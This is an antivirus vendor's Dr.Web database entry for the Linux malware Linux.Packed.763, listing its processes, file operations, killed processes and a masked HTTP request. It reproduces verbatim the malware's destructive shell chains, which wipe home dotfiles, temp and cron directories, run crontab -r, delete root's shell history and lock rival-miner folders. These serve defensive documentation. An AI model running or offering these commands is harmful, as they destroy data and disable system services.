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Linux.Packed.763

Added to the Dr.Web virus database: 2020-03-24

Virus description added:

Technical Information

Malicious functions:
Launches itself as a daemon
Substitutes application name for:
  • 69
  • lqoiwo
  • nyryrl
Launches processes:
  • sh -c rm -rf /home/je*/.* ; rm -rf /home/je*/.b* ; rm -rf /dev/shm/* ; rm -rf /dev/shm/* ; rm -rf /var/tmp/* ; rm -rf /var/tmp/.* ; for i in `atq | awk '{print $1}'`; do atrm $i; done ; chattr -R -i /tmp/* ; rm -rf /tmp/.* ; rm -rf /dev/shm/.* ; rm -rf /dev/shm/* ; rm -rf /var/tmp/* ; rm -rf /var/tmp/.* ; mkdir /tmp/.ICEd-unix ; chmod 000 /tmp/.ICEd-unix ; mkdir /var/tmp/.ICEd-unix; chmod 000 /var/tmp/.ICEd-unix; mkdir /tmp/.soloc ; chmod 0000 /tmp/.soloc ; mkdir /var/tmp/.soloc ; chmod 0000 /var/tmp/.soloc ; mkdir /dev/shm/.soloc ; chmod 0000 /dev/shm/.soloc ; >/dev/null 2>&1
  • rm -rf /home/je*/.*
  • rm -rf /home/je*/.b*
  • sh -c /tmp/cxvcjr
  • /tmp/cxvcjr
  • sh -c /tmp/seupji
  • /tmp/seupji
  • sh -c crontab -r ; rm -rf $HOME/.* ; rm -rf $HOME/.gn* ; rm -rf $HOME/.ba* ; rm -rf /home/je*/.ba* ; rm -rf ../temp/* ; rm -rf ../logs/* ; rm -rf temp/* ; rm -rf /tmp/* ; rm -rf /home/co*/* ; for i in `atq | awk '{print $1}'`; do atrm $i; done ; rm -rf logs/* ; rm -rf /dev/shm/* ; rm -rf /tmp/.* ; rm -rf /tmp/* ; chattr -R -i /tmp/* ; chattr -R -i /etc/cro*/* ; rm -rf /etc/cro*/* ; rm -rf /tmp/.* ; rm -rf /dev/shm/* ; rm -rf /run/lock/* ; rm -rf /dev/shm/* ; rm -rf /var/tmp/* ; rm -rf /etc/sys* ; rm -rf /var/tmp/.* ; chattr -R -i /var/spool/*/* ; rm -rf /etc/rc.d/init.d/kw* ; mkdir /tmp/zzz ; chmod 000 /tmp/zzz ; mkdir /var/tmp/zzz ; chmod 000 /var/tmp/zzz ; mkdir /var/tmp/kinsing ; chmod 000 /var/tmp/kinsing ; rm -rf /var/spool/*/*/* ; >/dev/null 2>/dev/null
  • crontab -r
  • rm -rf /root/. /root/.. /root/.bash_history /root/.bashrc /root/.profile
Kills system processes:
  • sshd
Kills the following processes:
  • /bin/sh
  • run.sh
  • bash
  • cron
  • (sd-pam)
  • systemd
  • systemd-logind
  • systemd-udevd
  • systemd-journal
  • kworker/u2:0
  • <SAMPLE>
Performs operations with the file system:
Modifies file access rights:
  • /tmp/cxvcjr
  • /tmp/kdevtmpfsi
  • /tmp/hehe
  • /tmp/.db
  • /tmp/.soloc
  • /tmp/seupji
  • /tmp/.ICEd-unix
  • /var/tmp/kinsing
  • /var/tmp/kdevtmpfsi
  • /var/tmp/.soloc
Creates folders:
  • /var/tmp/kinsing
  • /tmp/hehe
  • /tmp/.db
  • /tmp/.soloc
  • /var/tmp/.soloc
  • /tmp/.ICEd-unix
  • /tmp/kdevtmpfsi
  • /var/tmp/kdevtmpfsi
  • /var/tmp/javax
  • /tmp/javax
  • /tmp/2start.jpg
  • /var/tmp/2start.jpg
  • /tmp/zzz
  • /var/tmp/zzz
  • /tmp/kinsing
Deletes folders:
  • /tmp//.font-unix
  • /tmp//.ICE-unix
  • /tmp//.X11-unix
  • /tmp//.XIM-unix
  • /tmp//.Test-unix
  • /tmp//kdevtmpfsi
  • /tmp//hehe
  • /tmp//.db
  • /tmp//.soloc
  • /tmp//.ICEd-unix
  • /var/tmp//kinsing
  • /var/tmp//kdevtmpfsi
  • /var/tmp//.soloc
Creates or modifies files:
  • /tmp/cxvcjr
  • /tmp/seupji
Deletes files:
  • /home/je*/.*
  • /home/je*/.b*
  • /tmp//cxvcjr
  • /tmp//seupji
  • /root/.bash_history
Network activity:
HTTP GET requests:
  • 16#.###.104.230/c/bf

Curing recommendations


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